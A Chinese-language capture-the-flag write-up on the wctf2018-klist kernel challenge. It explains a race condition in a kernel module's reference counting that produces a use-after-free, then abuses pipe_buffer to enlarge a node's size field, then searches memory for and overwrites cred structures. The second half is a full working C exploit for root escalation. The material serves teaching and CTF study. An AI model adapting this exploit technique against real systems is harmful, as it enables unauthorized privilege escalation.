0%

linux kernel pwn学习之条件竞争(一)

条件竞争发生在多线程多进程中,往往是因为没有对全局数据、函数进行加锁,导致多进程同时访问修改,使得数据与理想的不一致而引发漏洞。本节,我们从wctf2018-klist这题来分析一下条件竞争制造UAF的利用。

wctf2018-klist

首先,查看一下启动脚本,发现开启了smep机制,说明内核不能直接执行用户空间的代码

1
2
3
4
5
6
7
qemu-system-x86_64 \  
-enable-kvm -cpu kvm64,+smep
-kernel ./bzImage \
-append "console=ttyS0 root=/dev/ram rw oops=panic panic=1 quiet kaslr" \
-initrd ./rootfs.cpio -nographic -m 2G \
-smp cores=2,threads=2,sockets=1 -monitor /dev/null \
-nographic

然后,我们用IDA分析一下list.ko文件,open的时候,初始化了一个缓冲区,然后初始化了一个互斥锁

Read的时候,是从缓冲区里记录的节点里读取数据,每一步操作,都在互斥锁内部,说明这里执行时,其他线程会被排斥到外,直到当前线程执行完解锁。

Write的时候,同理,向缓冲区记录的节点里写数据

ioctl定义了增删改查的操作

Select_item函数的作用就是选择指定位置的节点记录到缓冲区里,这样才能对其进行read/write操作。全程都有互斥锁的保护。

创建节点,会把节点的used字段设置为1

Remove节点,全程没有显式的调用kfree函数,我们注意到put函数

Put函数里,对节点的used域做了原子减法减去1,如果结果为0,就会释放这个节点

配套的get函数,对节点的used域做了原子加法加1

所以,我们发现,remove_item里,都是用的put来释放节点,因为节点创建时,used=1,减去1就是0,就被释放了。我们发现,除了remove_item函数里,是put单独使用,其他函数里都是get和put配套使用。

比如这个select_item函数里,就是配套使用,由于都在互斥锁里,所以最后执行完毕,used的值不会变。照着这个思想,我们来看一下list_head函数,漏洞就在这里,put操作没有在锁内,并且是put(g_list),g_list就是整个链表的头节点

我们再回过头来看看创建节点时,采用的是头插法

并且,新节点的used域为1,假如,在list_head函数的get操作之后,put操作之前,另一个线程正好创建了一个新节点,把g_list赋值为了这个新节点,接下来put操作,将g_list的used减去1后发现为0,就会释放这个节点,然后却没有把g_list指向下一个节点,这就造成了堆的UAF。

内核堆的UAF很容易利用,一种方法是将tty_struct申请到这里,伪造ops指针,然后本题我们不能使用tty_struct,因为,我们没有权限打开/dev/ptmx设备,看看init脚本里设置了啥

1
2
3
4
5
...  
chown root:tty /dev/console
chown root:tty /dev/ptmx
chown root:tty /dev/tty
...

那么,我们在用第二种方法,之前,我们分析到,这个链表节点的结构是这样的

1
2
3
4
5
6
struct list_node {  
int64_t used;
size_t size;
list_node *next;
char buf[XX];
}

我们如果能控制size域,将它赋值很大,那么,我们就能溢出堆,搜索内存里的cred结构,然后改写它,进而提权。然而,我们UAF只能控制buf数据区。有一个**巧妙的方法就是利用pipe管道。**在pipe创建管道的时候,会申请这样一个结构

1
2
3
4
5
6
7
struct pipe_buffer {  
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

其中,page是pipe存放数据的缓冲区,offset和len是数据的偏移和长度。比如,一开始,offset和len都是0,当我们write(pfd[1],buf,0x100);的时候,offset = 0,len = 0x100。然而,我们注意到,offset和len都是4字节数据,如果把它们拼在一起,凑成8字节,就是

0x10000000000,如果能够与list_node的size域对应起来,我们就能溢出堆了。

因此,我们一开始申请一个与pipe_buffer大小一样的堆,然后利用竞争释放后,创建一个管道,pipe_buffer就会申请到这里,接下来再write(pfd[1],buf,0x100),就能使得size域变得很大,那么我们就能溢出堆,进行内存搜索了。

我们的exploit.c程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#include <stdio.h>  
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

//pipe_buffer的大小,阅读源码可知
#define PIPE_BUFFER_SIZE 0x280

//驱动的fd
int fd;
//打开驱动
void initFD() {
fd = open("/dev/klist",O_RDWR);
if (fd < 0) {
printf("[-]open file error!!\n");
exit(-1);
}
}

//创建节点时,需要发送的数据
struct Data {
size_t size;
char *buf;
};

void addItem(char *buf,size_t size) {
struct Data data;
data.size = size;
data.buf = buf;
ioctl(fd,0x1337,&data);
}

void removeItem(int64_t index) {
ioctl(fd,0x1339,index);
}

void selectItem(int64_t index) {
ioctl(fd,0x1338,index);
}

void listHead(char *buf) {
ioctl(fd,0x133A,buf);
}

void listRead(void *buf,size_t size) {
read(fd,buf,size);
}

void listWrite(void *buf,size_t size) {
write(fd,buf,size);
}
//检查是否root成功
void checkWin(int i) {
while (1) {
sleep(1);
if (getuid() == 0) {
printf("Rooted in subprocess [%d]\n",i);
system("cat flag"); //我们很难getshell
exit(0);
}
}
}
#define BUF_SIZE PIPE_BUFFER_SIZE
#define UID 1000
char buf[BUF_SIZE];
char buf2[BUF_SIZE];
char bufA[BUF_SIZE];
char bufB[BUF_SIZE];

void fillBuf() {
memset(bufA,'a',BUF_SIZE);
memset(bufB,'b',BUF_SIZE);
}
int main() {
initFD();
fillBuf();
addItem(bufA,BUF_SIZE-24);
selectItem(0);
int pid = fork();
if (pid < 0) {
printf("[-]fork error!!\n");
exit(-1);
} else if (pid == 0) {
//开这么多子进程程,是为了增加cred结构被分配到堆下方内存的成功率
for (int i=0;i<200;i++) {
if (fork() == 0) {
checkWin(i+1);
}
}
while (1) {
//与主线程的listHead竞争
addItem(bufA,BUF_SIZE-24);
selectItem(0);
removeItem(0);
addItem(bufB,BUF_SIZE-24);
listRead(buf2,BUF_SIZE-24);
if (buf2[0] != 'a') {
printf("race compete in child process!!\n");
break;
}
removeItem(0);
}
sleep(1);
//到这里,条件竞争成功
removeItem(0); //把空间腾出来
int pfd[2];
pipe(pfd); //管道的pipe_buffer将会申请到我们能够UAF控制的空间里
write(pfd[1],bufB,BUF_SIZE);
size_t memLen = 0x1000000;
uint32_t *data = (uint32_t *)calloc(1,memLen);
listRead(data,memLen);
int count = 0;
size_t maxLen = 0;
for (int i=0;i<memLen/4;i++) {
if (data[i] == UID && data[i+1] == UID && data[i+7] == UID) {
memset(data+i,0,28);
maxLen = i;
printf("[+]found cred!!\n");
if (count ++ > 2) {
break;
}
}
}
listWrite(data,maxLen * 4);
checkWin(0);
/*size_t *d = (size_t *)data;
for (int i=0;i<0x100000 / 8;i++) {
printf("0x%lx ",d[i]);
}*/

} else { //主线程
while (1) {
listHead(buf);
listRead(buf,BUF_SIZE-24);
if(buf[0] != 'a')
break;
}
}
return 0;
}